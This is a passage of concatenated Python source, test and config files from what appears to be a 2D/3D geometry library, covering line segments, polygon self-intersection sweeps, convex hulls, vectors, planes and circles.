around_point = around_point if around_point else self.center()
return LineSegment(
self._p1.rotate(radians, around_point),
self._p2.rotate(radians, around_point),
)
def contains(self, point, atol=1e-6):
if not isinstance(point, P2):
raise unexpected_type_error("point", P2, point)
if approx(self._p1, point, atol):
return True
if approx(self._p2, point, atol):
return True
line_vector = self.vector()
test_vector = point - self._p1
if not line_vector.is_parallel(test_vector, atol):
return False
return 0 <= line_vector.dot(test_vector) <= line_vector.dot(line_vector)
def __eq__(self, other):
if isinstance(other, LineSegment):
return self.ordered() == other.ordered()
return NotImplemented
def __ne__(self, other):
return not self == other
def line(self):
return Line.ByPoints(self._p1, self._p2)
def intersection(self, other):
if not self.does_intersect(other):
return None
return self.line().intersection(other.line())
def does_intersect(self, line_segment):
if not isinstance(line_segment, LineSegment):
raise unexpected_type_error("line_segment", LineSegment, line_segment)
ccw1 = P2.CCW(self._p1, self._p2, line_segment._p1)
ccw2 = P2.CCW(self._p1, self._p2, line_segment._p2)
if ccw1 * ccw2 > 0:
return False
ccw1 = P2.CCW(line_segment._p1, line_segment._p2, self._p1)
ccw2 = P2.CCW(line_segment._p1, line_segment._p2, self._p2)
if ccw1 * ccw2 > 0:
return False
return True
def __hash__(self):
return hash(self.ordered())
def __str__(self):
return "(%s, %s)" % (self._p1, self._p2)
def __repr__(self):
return "LineSegment(%r, %r)" % (self._p1, self._p2)
<file_sep>from sortedcontainers import SortedListWithKey
def shamos_hoey(edges):
"""Determine if a polyline is self intersecting.
Args:
edges:
Returns:
"""
POINT, EDGE, IDX, SIDE = 0, 1, 2, 3
LEFT, RIGHT = -1, 1
event_queue = SortedListWithKey(key=lambda event: event[POINT]._coords)
for (idx, edge) in enumerate(edges):
p_left, p_right = edge.ordered()
e_left, e_right = (p_left, edge, idx, LEFT), (p_right, edge, idx, RIGHT)
event_queue.add(e_left)
event_queue.add(e_right)
count = len(event_queue) / 2
sweep_line = SortedListWithKey(
key=lambda event: tuple(p._coords for p in event[EDGE].ordered())
)
def consecutive(e1, e2):
distance = abs(e1[IDX] - e2[IDX])
if 1 < distance < count - 1:
return False
return True
while event_queue:
event = event_queue.pop(0)
if event[SIDE] == LEFT:
sweep_line.add(event)
idx = sweep_line.index(event)
if idx + 1 < len(sweep_line):
above = sweep_line[idx + 1]
if not consecutive(event, above):
if event[EDGE].does_intersect(above[EDGE]):
return False
if idx > 0:
below = sweep_line[idx - 1]
if not consecutive(event, below) and event[EDGE].does_intersect(
below[EDGE]
):
return False
else:
idx = sweep_line.bisect_left(event)
if 0 < idx < len(sweep_line) - 1:
above = sweep_line[idx]
below = sweep_line[idx - 1]
if not consecutive(above, below) and above[EDGE].does_intersect(
below[EDGE]
):
return False
sweep_line.pop(idx)
return True
<file_sep>[run]
source=euclidean
[report]
show_missing = True
omit =
*/python?.?/*
*/.eggs/*
*__init__*<file_sep>from .polygon import Polygon
<file_sep>import math
import pytest
from euclidean.R2 import P2, Polygon, V2
from euclidean.R2.polygon.polygon import _standard_form
from euclidean.R2.polygon.hull import _jarvis_convex_hull, convex_hull
from euclidean.approx import ApproxSet
@pytest.fixture
def ccw_polygon():
return Polygon([P2(0, 0), P2(1, 0), P2(1, 1), P2(0, 1)])
@pytest.fixture
def cw_polygon():
return Polygon([P2(0, 0), P2(0, 1), P2(1, 1), P2(1, 0)])
@pytest.fixture
def ccw_intersecting():
return Polygon([P2(0, 0), P2(1, 1), P2(0, 1), P2(1, 0)])
@pytest.fixture
def cw_intersecting():
return Polygon([P2(0, 0), P2(1, 1), P2(1, 0), P2(0, 1)])
@pytest.fixture
def cw_concave():
return Polygon([P2(-1, -1), P2(1, -1), P2(0, 0), P2(1, 1), P2(-1, 1)])
@pytest.fixture
def hull_data():
point_cloud = [
P2(0.3215348546593775, 0.03629583077160248),
P2(0.02402358131857918, -0.2356728797179394),
P2(0.04590851212470659, -0.4156409924995536),
P2(0.3218384001607433, 0.1379850698988746),
P2(0.11506479756447, -0.1059521474930943),
P2(0.2622539999543261, -0.29702873322836),
P2(-0.161920957418085, -0.4055339716426413),
P2(0.1905378631228002, 0.3698601009043493),
P2(0.2387090918968516, -0.01629827079949742),
P2(0.07495888748668034, -0.1659825110491202),
P2(0.3319341836794598, -0.1821814101954749),
P2(0.07703635755650362, -0.2499430638271785),
P2(0.2069242999022122, -0.2232970760420869),
P2(0.04604079532068295, -0.1923573186549892),
P2(0.05054295812784038, 0.4754929463150845),
P2(-0.3900589168910486, 0.2797829520700341),
P2(0.3120693385713448, -0.0506329867529059),
P2(0.01138812723698857, 0.4002504701728471),
P2(0.009645149586391732, 0.1060251100976254),
P2(-0.03597933197019559, 0.2953639456959105),
P2(0.1818290866742182, 0.001454397571696298),
P2(0.444056063372694, 0.2502497166863175),
P2(-0.05301752458607545, -0.06553921621808712),
P2(0.4823896228171788, -0.4776170002088109),
P2(-0.3089226845734964, -0.06356112199235814),
P2(-0.271780741188471, 0.1810810595574612),
P2(0.4293626522918815, 0.2980897964891882),
P2(-0.004796652127799228, 0.382663812844701),
P2(0.430695573269106, -0.2995073500084759),
P2(0.1799668387323309, -0.2973467472915973),
P2(0.4932166845474547, 0.4928094162538735),
P2(-0.3521487911717489, 0.4352656197131292),
P2(-0.4907368011686362, 0.1865826865533206),
P2(-0.1047924716070224, -0.247073392148198),
P2(0.4374961861758457, -0.001606279519951237),
P2(0.003256207800708899, -0.2729194320486108),
P2(0.04310378203457577, 0.4452604050238248),
P2(0.4916198379282093, -0.345391701297268),
P2(0.001675087028811806, 0.1531837672490476),
P2(-0.4404289572876217, -0.2894855991839297),
]
hull = [
P2(-0.161920957418085, -0.4055339716426413),
P2(0.4823896228171788, -0.4776170002088109),
P2(0.4916198379282093, -0.345391701297268),
P2(0.4932166845474547, 0.4928094162538735),
P2(0.05054295812784038, 0.4754929463150845),
P2(-0.3521487911717489, 0.4352656197131292),
P2(-0.4907368011686362, 0.1865826865533206),
P2(-0.4404289572876217, -0.2894855991839297),
]
return (point_cloud, hull)
def test_polygon_create():
with pytest.raises(ValueError):
Polygon([P2(0, 0), P2(20, 20)])
def test_polygon_eq(cw_polygon, ccw_polygon):
assert cw_polygon == cw_polygon
assert cw_polygon != ccw_polygon # we may want to fix this
assert not cw_polygon == None
assert not cw_polygon == Polygon([P2(0, 0), P2(1, 1), P2(0, 1)])
def test_polygon_translate(cw_polygon, ccw_polygon):
assert P2(0.5, 0.5) == cw_polygon.centroid()
assert P2(1.5, 1.5) == cw_polygon.translate(V2(1, 1)).centroid()
assert P2(0.5, 0.5) == ccw_polygon.centroid()
assert P2(1.5, 1.5) == ccw_polygon.translate(V2(1, 1)).centroid()
def test_polygon_centered_at(cw_polygon, ccw_polygon):
assert P2(10, 10) == cw_polygon.centered_at(P2(10, 10)).centroid()
assert P2(0, 0) == cw_polygon.centered_at(P2(0, 0)).centroid()
assert P2(1, 1) == cw_polygon.centered_at(P2(1, 1)).centroid()
assert P2(0, 0) == ccw_polygon.centered_at(P2(0, 0)).centroid()
assert P2(1, 1) == ccw_polygon.centered_at(P2(1, 1)).centroid()
def test_polygon_rotate(cw_polygon):
rotated = cw_polygon.rotate(math.pi / 2, P2(0, 0))
expected = ApproxSet({P2(0.0, 0.0), P2(0.0, 1.0), P2(-1.0, 1.0), P2(-1.0, 0.0)})
assert expected == rotated.points()
def test_polygon_perimiter(cw_polygon):
assert 4 == cw_polygon.perimeter()
def test_polygon_simple(ccw_polygon, cw_polygon, cw_concave):
assert ccw_polygon.is_simple()
assert cw_polygon.is_simple()
assert cw_concave.is_simple()
def test_intersecting(ccw_intersecting, cw_intersecting):
assert not ccw_intersecting.is_simple()
assert not cw_intersecting.is_simple()
def test_ccw_polygon_contains(ccw_polygon):
assert ccw_polygon.contains(P2(0.5, 0.5))
assert not ccw_polygon.contains(P2(2, 2))
assert not ccw_polygon.contains(P2(-1, -1))
def test_cw_polygon_contains(cw_polygon):
assert cw_polygon.contains(P2(0.5, 0.5))
assert not cw_polygon.contains(P2(2, 2))
assert not cw_polygon.contains(P2(-1, -1))
assert cw_polygon.contains(P2(0.00001, 0.00001))
assert cw_polygon.contains(P2(0.99999, 0.00001))
assert cw_polygon.contains(P2(0.99999, 0.99999))
assert cw_polygon.contains(P2(0.00001, 0.99999))
assert cw_polygon.contains(P2(0, 0))
assert cw_polygon.contains(P2(1, 0))
assert cw_polygon.contains(P2(1, 1))
assert cw_polygon.contains(P2(0, 1))
assert cw_polygon.contains(P2(0.5, 0))
assert cw_polygon.contains(P2(1, 0.5))
assert cw_polygon.contains(P2(0.5, 1))
assert cw_polygon.contains(P2(0, 0.5))
assert not cw_polygon.contains(P2(-0.00001, -0.00001))
assert not cw_polygon.contains(P2(1.00001, -0.00001))
assert not cw_polygon.contains(P2(1.00001, 1.00001))
assert not cw_polygon.contains(P2(-0.00001, 1.00001))
assert not cw_polygon.contains(P2(-0.0001, 0))
assert not cw_polygon.contains(P2(0, -0.00001))
assert not cw_polygon.contains(P2(1.00001, 0))
assert not cw_polygon.contains(P2(1, -0.00001))
def test_ccw_polygon_centroid(ccw_polygon):
assert ccw_polygon.centroid() == P2(0.5, 0.5)
def test_cw_polygon_centroid(cw_polygon):
assert cw_polygon.centroid() == P2(0.5, 0.5)
def test_cw_area(cw_polygon):
assert cw_polygon.area() == 1
def test_ccw_area(ccw_polygon):
assert ccw_polygon.area() == 1
def test_jarvis_convex_hull():
points = [P2(0, 3), P2(2, 2), P2(1, 1), P2(2, 1), P2(3, 0), P2(0, 0), P2(3, 3)]
points = sorted(points, key=lambda p: p._coords)
expected = [P2(0, 0), P2(3, 0), P2(3, 3), P2(0, 3)]
for a, e in zip(_jarvis_convex_hull(points), expected):
assert a == e
def test_convex_hull(hull_data):
(point_cloud, hull) = hull_data
# test_hull = _standard_form(convex_hull(point_cloud))
# data_hull = _standard_form(hull)
assert Polygon(hull) == Polygon.ConvexHull(point_cloud)
# for a, e in zip(test_hull, data_hull):
# assert a == e
# hull_poly = Polygon.ConvexHull(point_cloud)
# for e, a in zip(data_hull, hull_poly.points()):
# assert a == e
def test_is_convex(cw_polygon, ccw_polygon, cw_intersecting, cw_concave):
assert cw_polygon.is_convex()
assert ccw_polygon.is_convex()
assert not cw_intersecting.is_convex()
assert not cw_concave.is_convex()
def est_convex_hull():
left = [P2(0, 0), P2(10, -1), P2(11, 3)]
<file_sep>import pytest
from euclidean.R3 import V3, P3
def test_v3_create():
vector = V3(1, 2, 3)
assert 1 == vector.x
assert 2 == vector.y
assert 3 == vector.z
assert V3(1, 2, 3) == vector
assert P3(1, 2, 3) != vector
for a, b in zip(vector, [1, 2, 3]):
assert a == b
def test_v3_magnitude():
vector = V3(2, 2, 2)
assert 12 ** 0.5 == vector.magnitude()
assert 12 ** 0.5 == abs(vector)
def test_v3_dot():
assert 10 == V3(1, 2, 3).dot(V3(3, 2, 1))
assert 10 == V3(3, 2, 1).dot(V3(1, 2, 3))
with pytest.raises(TypeError):
V3(1, 2, 3).dot(P3(3, 2, 1))
def test_v3_add():
assert V3(2, 3, 4) == V3(1, 2, 3) + V3(1, 1, 1)
with pytest.raises(TypeError):
V3(1, 2, 3) + 5
def test_v3_sub():
assert V3(0, 0, 0) == V3(3, 2, 1) - V3(3, 2, 1)
with pytest.raises(TypeError):
V3(1, 2, 3) - 5
def test_v3_div():
assert V3(1.5, 2.5, 3.5) == V3(3, 5, 7) / 2
with pytest.raises(TypeError):
V3(3, 5, 7) / V3(1, 1, 1)
assert V3(1, 2, 3) == V3(3, 5, 7) // 2
with pytest.raises(TypeError):
V3(3, 5, 7) // V3(1, 1, 1)
def test_v3_neg():
assert V3(-1, -2, -3) == -V3(1, 2, 3)
<file_sep>import operator
from euclidean.R2.cartesian import P2
from euclidean.R2.line import Line
def convex_hull(point_cloud):
if len(point_cloud) < 3:
return None
return _divide_and_conquer_convex_hull(sorted(point_cloud)).points()
def _jarvis_convex_hull(points):
"""Find the convex hull of a point cloud using the jarvis march algorithm.
Notes:
O(n * h) for n points in point cloud, h points in hull
Args:
points (List[P2]):
Returns:
(List[P2]):
"""
count = len(points)
hull = []
last_idx = 0
while True:
hull.append(points[last_idx])
next_idx = (last_idx + 1) % count
for test_idx, test_point in enumerate(points):
if P2.CCW(points[last_idx], test_point, points[next_idx]) > 0:
next_idx = test_idx
last_idx = next_idx
if last_idx == 0:
return hull
def _divide_and_conquer_convex_hull(points):
"""
Notes:
O(n * log(n))
Args:
points:
Returns:
"""
count = len(points)
if count < 6:
return Hull(_jarvis_convex_hull(points))
midpoint = count // 2
min_cloud, max_cloud = points[:midpoint], points[midpoint:]
min_hull = _divide_and_conquer_convex_hull(min_cloud)
max_hull = _divide_and_conquer_convex_hull(max_cloud)
return __merge_convex_hulls(min_hull, max_hull)
class Hull:
class Vertex:
__slots__ = ("cw", "point", "ccw")
def __init__(self, point):
self.point = point
def __init__(self, points):
p_iter = iter(points)
first = Hull.Vertex(next(p_iter))
last = Hull.Vertex(next(p_iter))
first.cw = first.ccw = last
last.cw = last.ccw = first
self.__min = first
for point in p_iter:
self.__append(point)
def __append(self, point):
first = self.__min
last = self.__min.cw
new_vertex = Hull.Vertex(point)
first.cw = new_vertex
new_vertex.ccw = first
last.ccw = new_vertex
new_vertex.cw = last
def points(self):
current = self.__min
while True:
yield current.point
current = current.ccw
if current == self.__min:
break
def min(self):
return self.__min
def max(self):
current = self.__min
while current.point < current.ccw.point:
current = current.ccw
return current
def __merge_convex_hulls(min_hull, max_hull):
(min_h_max_vtx, max_h_max_vtx) = __tangent(min_hull, max_hull, Tangent.MAX)
(min_h_min_vtx, max_h_min_vtx) = __tangent(min_hull, max_hull, Tangent.MIN)
min_h_max_vtx.cw = max_h_max_vtx
max_h_max_vtx.ccw = min_h_max_vtx
min_h_min_vtx.ccw = max_h_min_vtx
max_h_min_vtx.cw = min_h_min_vtx
return min_hull
import enum
class Tangent(enum.Enum):
MAX = 1
MIN = -1
def __tangent(min_hull, max_hull, dir):
min_hull_vtx = min_hull.max()
max_hull_vtx = max_hull.min()
op = operator.gt if dir == Tangent.MAX else operator.lt
while True:
test_line = Line.ByPoints(min_hull_vtx.point, max_hull_vtx.point)
cmp_vtx = min_hull_vtx.ccw if dir == Tangent.MAX else min_hull_vtx.cw
if op(test_line.on_side(cmp_vtx.point), 0):
min_hull_vtx = cmp_vtx
continue
cmp_vtx = max_hull_vtx.cw if dir == Tangent.MAX else max_hull_vtx.ccw
if op(test_line.on_side(cmp_vtx.point), 0):
max_hull_vtx = cmp_vtx
continue
return min_hull_vtx, max_hull_vtx
<file_sep>from collections import deque
def normalize_coefficients(*coefficients):
"""Normalize coefficients such that all equivalents can be directly compared.
:raises ValueError: If all coefficients are 0.
:param *coefficients: The unnormalized coefficients.
:rtype: Tuple[float, ...]
"""
divisor = 0
normalized = deque()
for c in reversed(coefficients):
if divisor:
normalized.appendleft(c / divisor)
elif c != 0:
divisor = c
normalized.appendleft(1)
else:
normalized.appendleft(0)
if divisor == 0:
raise ValueError("All coefficients are 0.")
return tuple(normalized)
def methods(*meths):
"""A class decorator for attaching generic methods to a class.
.. note:
The first argument of the function will be bound to self instance.
:param *meths: Raw functions to be bound to a class.
"""
def decorator(cls):
for meth in meths:
setattr(cls, meth.__name__, meth)
return cls
return decorator
<file_sep>import math
import numbers
from functools import total_ordering
from euclidean.R2.cartesian import V2
from euclidean.exceptions import unexpected_type_error
class Cartesian3:
__slots__ = ("_coords",)
def __init__(self, x, y, z):
self._coords = (x, y, z)
x = property(lambda self: self._coords[0])
y = property(lambda self: self._coords[1])
z = property(lambda self: self._coords[2])
def __iter__(self):
return iter(self._coords)
def __repr__(self):
return "%s(%r, %r, %r)" % (self.__class__.__name__, self.x, self.y, self.z)
def __eq__(self, other):
if isinstance(other, type(self)):
return self._coords == other._coords
return NotImplemented
class V3(Cartesian3):
__slots__ = ()
def dot(self, other):
if not isinstance(other, V3):
raise unexpected_type_error("other", V3, other)
return self.x * other.x + self.y * other.y + self.z * other.z
def cross(self, other):
return V3(
self.y * other.z - self.z * other.y,
self.z * other.x - self.x * other.z,
self.x * other.y - self.y * other.x,
)
def magnitude(self):
return self.dot(self) ** 0.5
__abs__ = magnitude
def unit(self):
return self / self.magnitude()
def angle(self, other):
return math.acos(self.dot(other) / self.magnitude() / other.magnitude())
def xy(self):
return V2(self.x, self.y)
def xz(self):
return V2(self.x, self.z)
def yz(self):
return V2(self.y, self.z)
def manhattan_distance(self):
return sum(self._coords)
def approx(self, other, atol=1e-6):
if not isinstance(other, V3):
raise unexpected_type_error("other", V3, other)
return abs(self - other) <= atol
def __add__(self, other):
if isinstance(other, V3):
return V3(self.x + other.x, self.y + other.y, self.z + other.z)
return NotImplemented
__iadd__ = __add__
def __sub__(self, other):
if isinstance(other, V3):
return V3(self.x - other.x, self.y - other.y, self.z - other.z)
return NotImplemented
__isub__ = __sub__
def __mul__(self, other):
if isinstance(other, numbers.Real):
return V3(self.x * other, self.y * other, self.z * other)
return NotImplemented
__imul__ = __rmul__ = __mul__
def __truediv__(self, other):
if isinstance(other, numbers.Real):
return V3(self.x / other, self.y / other, self.z / other)
return NotImplemented
__itruediv__ = __truediv__
def __floordiv__(self, other):
if isinstance(other, numbers.Real):
return V3(self.x // other, self.y // other, self.z // other)
return NotImplemented
def __neg__(self):
return V3(-self.x, -self.y, -self.z)
@total_ordering
class P3(Cartesian3):
__slots__ = ()
def __add__(self, other):
if isinstance(other, V3):
return P3(self.x + other.x, self.y + other.y, self.z + other.z)
return NotImplemented
__radd__ = __iadd__ = __add__
def approx(self, other, atol=1e-6):
if not isinstance(other, P3):
raise unexpected_type_error("other", P3, other)
return abs(self - other) < atol
def __sub__(self, other):
if isinstance(other, V3):
return P3(self.x - other.x, self.y - other.y, self.z - other.z)
if isinstance(other, P3):
return V3(self.x - other.x, self.y - other.y, self.z - other.z)
return NotImplemented
def vector(self):
return V3(self.x, self.y, self.z)
def __lt__(self, other):
if not isinstance(other, P3):
return NotImplemented
return self._coords < other._coords
<file_sep>import numbers
import math
from functools import total_ordering
from euclidean.exceptions import unexpected_type_error
def cross2(v1, v2):
return v1.x * v2.y - v1.y * v2.x
def dot2(v1, v2):
return v1.x * v2.x + v1.y * v2.y
class Cartesian2:
__slots__ = ("_coords",)
coords = property(lambda self: self._coords)
x = property(lambda self: self._coords[0])
y = property(lambda self: self._coords[1])
@classmethod
def Polar(cls, r, theta):
return cls(r * math.cos(theta), r * math.sin(theta))
def __init__(self, x, y):
self._coords = (x, y)
def __iter__(self):
return iter(self._coords)
def __eq__(self, other):
if isinstance(other, type(self)):
return self._coords == other._coords
return NotImplemented
def __hash__(self):
return hash((self.__class__.__name__, self._coords))
def __repr__(self):
return "%s(%r, %r)" % (self.__class__.__name__, self.x, self.y)
class V2(Cartesian2):
__slots__ = ()
def unit(self):
return self / self.magnitude()
def dot(self, other):
if not isinstance(other, V2):
raise unexpected_type_error("other", V2, other)
return dot2(self, other)
def cross(self, other):
if not isinstance(other, V2):
raise unexpected_type_error("other", V2, other)
return cross2(self, other)
def is_parallel(self, other, atol=1e-6):
return abs(self.cross(other)) <= atol
def is_orthogonal(self, other, atol=1e-6):
return abs(self.dot(other)) <= atol
def magnitude(self):
return self.dot(self) ** 0.5
def manhattan_distance(self):
return self.x + self.y
__abs__ = magnitude
def angle(self, other):
if self.is_parallel(other):
return math.acos(1)
return math.acos(self.dot(other) / self.magnitude() / other.magnitude())
def rotate(self, radians):
cos = math.cos(radians)
sin = math.sin(radians)
return V2(self.x * cos - self.y * sin, self.x * sin + self.y * cos)
def approx(self, other, atol=1e-6):
if not isinstance(other, V2):
raise unexpected_type_error("other", V2, other)
return abs(self - other) < atol
def __add__(self, other):
if isinstance(other, V2):
return V2(self.x + other.x, self.y + other.y)
return NotImplemented
__iadd__ = __add__
def __sub__(self, other):
if isinstance(other, V2):
return V2(self.x - other.x, self.y - other.y)
return NotImplemented
__isub__ = __sub__
def __mul__(self, other):
if not isinstance(other, numbers.Real):
return NotImplemented
return V2(self.x * other, self.y * other)
__imul__ = __rmul__ = __mul__
def __truediv__(self, other):
if not isinstance(other, numbers.Real):
return NotImplemented
return V2(self.x / other, self.y / other)
__itruediv__ = __truediv__
def __floordiv__(self, other):
if not isinstance(other, numbers.Real):
return NotImplemented
return V2(self.x // other, self.y // other)
__ifloordiv__ = __floordiv__
def __neg__(self):
return V2(-self.x, -self.y)
@total_ordering
class P2(Cartesian2):
__slots__ = ()
@staticmethod
def CCW(p1, p2, p3):
return (p2.x - p1.x) * (p3.y - p1.y) - (p3.x - p1.x) * (p2.y - p1.y)
@staticmethod
def AcuteAngle(p1, p2, p3):
v1 = p1 - p2
v2 = p3 - p2
return v1.angle(v2)
def vector(self):
return V2(self.x, self.y)
def rotate(self, radians, center_point=None):
center_point = center_point if center_point else P2(0, 0)
vector = self - center_point
return center_point + vector.rotate(radians)
def quadrant(self):
if self.x >= 0 and self.y >= 0:
return 1
if self.x <= 0 and self.y >= 0:
return 2
if self.x <= 0 and self.y <= 0:
return 3
return 4
def approx(self, other, atol=1e-6):
if not isinstance(other, P2):
raise unexpected_type_error("other", P2, other)
return (self - other).magnitude() < atol
def __lt__(self, other):
if not isinstance(other, P2):
return NotImplemented
return self._coords < other._coords
def __add__(self, other):
if isinstance(other, V2):
return P2(self.x + other.x, self.y + other.y)
return NotImplemented
__radd__ = __iadd__ = __add__
def __sub__(self, other):
if isinstance(other, V2):
return P2(self.x - other.x, self.y - other.y)
if isinstance(other, P2):
return V2(self.x - other.x, self.y - other.y)
return NotImplemented
__isub__ = __sub__
<file_sep>from .cartesian import P3, V3
from .plane import Plane
__all__ = ("P3", "V3", "Plane")
<file_sep>from itertools import chain
from euclidean.R2.cartesian import P2, V2, cross2
from euclidean.R2.line import LineSegment
from .hull import convex_hull
from .line_sweep import shamos_hoey
class Polygon:
"""
"""
@classmethod
def ConvexHull(cls, points):
return cls(convex_hull(points), is_convex=True)
def __init__(self, points, is_convex=None):
self._points = tuple(points)
if len(self._points) < 3:
raise ValueError("At least 3 points are required to define a polygon.")
self._min_index = _min_idx(self._points)
self.__is_convex = is_convex
def __len__(self):
return len(self._points)
def standard_form(self):
"""Normalize point order to begin traversal from minimum point.
#todo: also detect if CW -> iterate backwards, ie. CCW?
#todo: make this the default __iter__ method?
Returns:
"""
return self._rolled(self._min_index)
def _rolled(self, offset):
return _rolled(self._points, offset)
def _cross_products(self):
return map(cross2, self._points, self._rolled(1))
def area(self):
"""Find the area of this polygon.
Notes:
This will return an incorrect value if the polygon is complex.
Returns:
"""
return 0.5 * abs(sum(self._cross_products()))
def centroid(self):
"""Find the centroid of this polygon.
Notes:
This will return an incorrect value if the polygon is complex.
Returns:
"""
cx, cy, a = 0, 0, 0
for p1, p2 in zip(self._points, self._rolled(1)):
cross = cross2(p1, p2)
cx += (p1.x + p2.x) * cross
cy += (p1.y + p2.y) * cross
a += cross
a *= 3
return P2(cx / a, cy / a)
def translate(self, vector):
return Polygon(p + vector for p in self._points)
def centered_at(self, new_center_point):
"""Copy this polygon centered at the provided point.
Returns:
(Polygon):
"""
vector = new_center_point - self.centroid()
return Polygon(p + vector for p in self._points)
def rotate(self, radians, center_point=None):
"""Rotate the polygon by radians around a center point or the centroid if none is provided.
Args:
radians:
center_point:
Returns:
(Polygon)
"""
center_point = center_point if center_point else self.centroid()
return Polygon(p.rotate(radians, center_point) for p in self._points)
def points(self):
return self._points
def xs(self):
return (p.x for p in self._points)
def ys(self):
return (p.y for p in self._points)
def __ccws(self):
return map(P2.CCW, self._rolled(0), self._rolled(1), self._rolled(2))
def __maybe_convex(self):
return all(c <= 0 for c in self.__ccws()) or all(c >= 0 for c in self.__ccws())
def is_convex(self):
if self.__is_convex is None:
self.__is_convex = len(self._points) < 4 or (
self.__maybe_convex() and self.is_simple()
)
return self.__is_convex
def is_simple(self):
return shamos_hoey(self.edges())
def edges(self):
return map(LineSegment, self._points, chain(self._points[1:], self._points[:1]))
def contains(self, test_point, atol=1e-6, closed=True):
if self.winding_number(test_point) > 0:
return True
if closed:
return self.on_perimeter(test_point, atol)
return False
def perimeter(self):
return sum(edge.length() for edge in self.edges())
def on_perimeter(self, point, atol=1e-6):
return any(edge.contains(point, atol) for edge in self.edges())
def winding_number(self, test_point):
order = sum(self._cross_products())
wn = 0
for edge in self.edges():
if edge._p1.y <= test_point.y:
if edge._p2.y > test_point.y:
if order * P2.CCW(edge._p1, edge._p2, test_point) > 0:
wn += 1
else:
if edge._p2.y <= test_point.y:
if order * P2.CCW(edge._p1, edge._p2, test_point) < 0:
wn -= 1
return wn
def __eq__(self, other):
if not isinstance(other, Polygon):
return NotImplemented
if len(self._points) != len(other._points):
return False
for p1, p2 in zip(self.standard_form(), other.standard_form()):
if p1 != p2:
return False
return True
def __ne__(self, other):
return not self == other
def plot(self, **kwargs):
xs = list(self.xs())
xs.append(xs[0])
ys = list(self.ys())
ys.append(ys[0])
return plt.plot(xs, ys, **kwargs)
def _rolled(points, offset):
return chain(points[offset:], points[:offset])
def _standard_form(points):
return tuple(_rolled(points, _min_idx(points)))
def _min_idx(points):
min_idx = 0
for idx, point in enumerate(points):
if point._coords < points[min_idx]._coords:
min_idx = idx
return min_idx
<file_sep>import pytest
from euclidean.approx import ApproxSet, approx
from euclidean.R2 import V2, P2
def test_approx():
assert approx(P2(0, 0), P2(0.0, 0.0))
assert approx(P2(0.0000001, 0.0000001), P2(0, 0))
assert not approx(P2(0, 0), V2(0, 0))
def test_approx_set_contains():
pset = ApproxSet({P2(0, 0), P2(1, 1), P2(3, 3)})
assert P2(0, 0) in pset
assert P2(0.0, 0.0) in pset
assert P2(0.0000001, 0.0000001) in pset
assert P2(0.1, 0.1) not in pset
assert P2(-1, -1) not in pset
assert P2(10, 10) not in pset
with pytest.raises(TypeError):
ApproxSet({V2(0, 0), V2(1, 1)})
def test_approx_set_eq():
pset = ApproxSet([P2(0, 0), P2(1, 1), P2(3, 3)])
assert {P2(0, 0), P2(1, 1), P2(3, 3)} == pset
assert {P2(3.0000001, 3.0000001), P2(1, 1), P2(0, 0)} == pset
assert [P2(3.0000001, 3.0000001), P2(1, 1), P2(0, 0)] == pset
assert (P2(0.0000001, 0.0000001), P2(1, 1), P2(3, 3)) == pset
assert pset == pset
assert [P2(0, 0), P2(1, 1)] != pset
assert pset != set()
assert pset != None
def test_approx_set_iter():
pset = ApproxSet([P2(3, 3), P2(2, 2), P2(1, 1)])
for e, a in zip([P2(1, 1), P2(2, 2), P2(3, 3)], pset):
assert e == a
def test_approx_set_create():
pset = ApproxSet([1, 2, 3, 3.0000001])
assert 3 == len(pset)
assert 3.0000001 in pset
with pytest.raises(TypeError):
ApproxSet(1, 2, 3)
<file_sep>from euclidean.util import normalize_coefficients
from euclidean.exceptions import unexpected_type_error
from .cartesian import P3, V3
class Plane:
cx = property(lambda self: self._coeffs[0])
cy = property(lambda self: self._coeffs[1])
cz = property(lambda self: self._coeffs[2])
c = property(lambda self: self._coeffs[3])
@staticmethod
def PointNormal(point, normal_vector):
c = (
normal_vector.x * point.x
+ normal_vector.y * point.y
+ normal_vector.z * point.z
)
return Plane(normal_vector.x, normal_vector.y, normal_vector.z, c)
def __init__(self, cx, cy, cz, c):
self._coeffs = normalize_coefficients(cx, cy, cz, c)
def _equation(self, point):
if not isinstance(point, P3):
raise unexpected_type_error("point", P3, point)
return self.cx * point.x + self.cy * point.y + self.cz * point.z
def normal(self):
return V3(self.cx, self.cy, self.cz).unit()
def contains(self, point, atol=1e-6):
return abs(self._equation(point) - self.c) <= atol
def __eq__(self, other):
if not isinstance(other, Plane):
return NotImplemented
return self._coeffs == other._coeffs
def __ne__(self, other):
return not self == other
<file_sep>=========
euclidean
=========
``euclidean`` is a pure python 3 geometry library, primarily focused on the R2 plane.
---------------
Getting Started
---------------
.. code-block:: pycon
>>> from euclidean.R2 import V2
>>> V2(100, 100) + V2(10, 0) + V2(0, 10)
V2(110, 110)
>>> V2(100, 100).cross(V2(1, 1))
0
todo: actual documentation<file_sep>import pytest
from euclidean.R3 import P3, V3
def test_p3_create():
point = P3(1, 2, 3)
assert 1 == point.x
assert 2 == point.y
assert 3 == point.z
assert V3(1, 2, 3) == point.vector()
def test_p3_approx():
point = P3(1, 2, 3)
assert point.approx(P3(1, 2, 3))
assert point.approx(P3(0.99999999, 1.99999999, 2.99999999))
assert not point.approx(P3(0.999, 1.999, 2.999))
with pytest.raises(TypeError):
point.approx(V3(1, 2, 3))
def test_p3_add():
point = P3(1, 2, 3)
assert P3(2, 3, 4) == point + V3(1, 1, 1)
assert P3(2, 3, 4) == V3(1, 1, 1) + point
with pytest.raises(TypeError):
point + point
def test_p3_sub():
point = P3(1, 2, 3)
assert P3(0, 1, 2) == point - V3(1, 1, 1)
assert V3(0, 0, 0) == point - point
with pytest.raises(TypeError):
point - 1
def test_p3_ordering():
assert P3(0, 1, 1) < P3(1, 1, 1)
assert P3(0, 1, 1) < P3(1, 0, 0)
assert P3(0, 1, 1) < P3(1, -1, -1)
assert P3(1, 0, 0) < P3(1, 1, 1)
assert P3(1, 1, 0) < P3(1, 1, 1)
with pytest.raises(TypeError):
P3(0, 1, 2) < V3(1, 2, 3)
<file_sep>from euclidean.constants import pi
from euclidean.exceptions import unexpected_type_error
from .cartesian import P2, V2
class Circle:
center = property(lambda self: self._center)
radius = property(lambda self: self._radius)
diameter = property(lambda self: 2 * self._radius)
def __init__(self, radius, center=P2(0, 0)):
"""
(x - center.x) ** 2 + (y - center.y) ** 2 = radius ** 2
Args:
radius:
center (P2):
"""
if radius <= 0:
raise ValueError("Radius must be positive.")
self._center = center
self._radius = radius
def _equation(self, point):
diff = point - self.center
return diff.dot(diff)
def on_circumference(self, point, atol=1e-6):
return abs(self._equation(point) - self.radius ** 2) <= atol
def circumference(self):
